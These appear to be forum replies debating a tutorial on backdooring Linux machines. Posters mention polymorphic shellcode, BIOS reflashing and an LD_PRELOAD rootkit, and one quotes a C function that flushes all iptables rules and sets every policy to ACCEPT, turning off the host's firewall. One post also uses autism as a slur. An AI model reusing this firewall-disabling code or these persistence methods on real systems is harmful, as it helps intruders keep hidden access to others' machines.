For what it's worth I did find this somewhat interesting to read. I don't think there's anything wrong with sharing the info.

Those who criticize I'd ask that you also contribute to some degree in how you would tackle the same scenario. Tutorials and case studies are always great to have Smile

Glad I can deny this. I don't kit unless it's the target is of value. All I use mostly is a polymorphic /bin/sh shellcode. Otherwise I use flashrom to patch the bios with another compatible firmware bundled with my kit. However I'll bet $100 you use an ld_preload, hmm say umbreon? Lol rippr

If your target audience are beginners then don't teach them fucking bullshit. There are a hundred times better methods to backdoor a *nix box that are just as easy for a beginner to understand if you explain well enough.

Code:
#ifdef IPTABLES
void flush_iptables(void)
{
    system("iptables -X 2> /dev/null");
    system("iptables -F 2> /dev/null");
    system("iptables -t nat -F 2> /dev/null");
    system("iptables -t nat -X 2> /dev/null");
    system("iptables -t mangle -F 2> /dev/null");
    system("iptables -t mangle -X 2> /dev/null");
    system("iptables -P INPUT ACCEPT 2> /dev/null");
    system("iptables -P FORWARD ACCEPT 2> /dev/null");
    system("iptables -P OUTPUT ACCEPT 2> /dev/null");
}
#endif

The coder seems to be afflicted with autism.

If by APT you Advanced Persistent Threat...you're using it in the wrong context buddy.

Anyways, This thread could be helpful to some to be honest. The same goes with any information posted here. It all has value to some extent. Whatever you take from it is up to you.
